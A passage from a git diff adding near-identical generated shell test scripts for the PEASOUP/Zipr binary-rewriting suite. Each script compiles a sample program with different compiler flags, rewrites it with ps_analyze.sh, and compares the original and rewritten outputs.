+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e1c50399f4ec078fdbd407a8d668f5ca3790b96b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles         -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles         -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..28a6c6dfdf6d8633d81e4dba8daeb55a353374fb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles         -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles         -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..aaae4df19d07e6ca736a2e42936501b73e454d1c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..941dc04a33ebd685701365fe0ff6b154c8f73364
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b53c60cf87c51a95020e3f397199f3825a3401e0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5a7d0baf746ec82eb6c7965be5111d34f0a21518
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
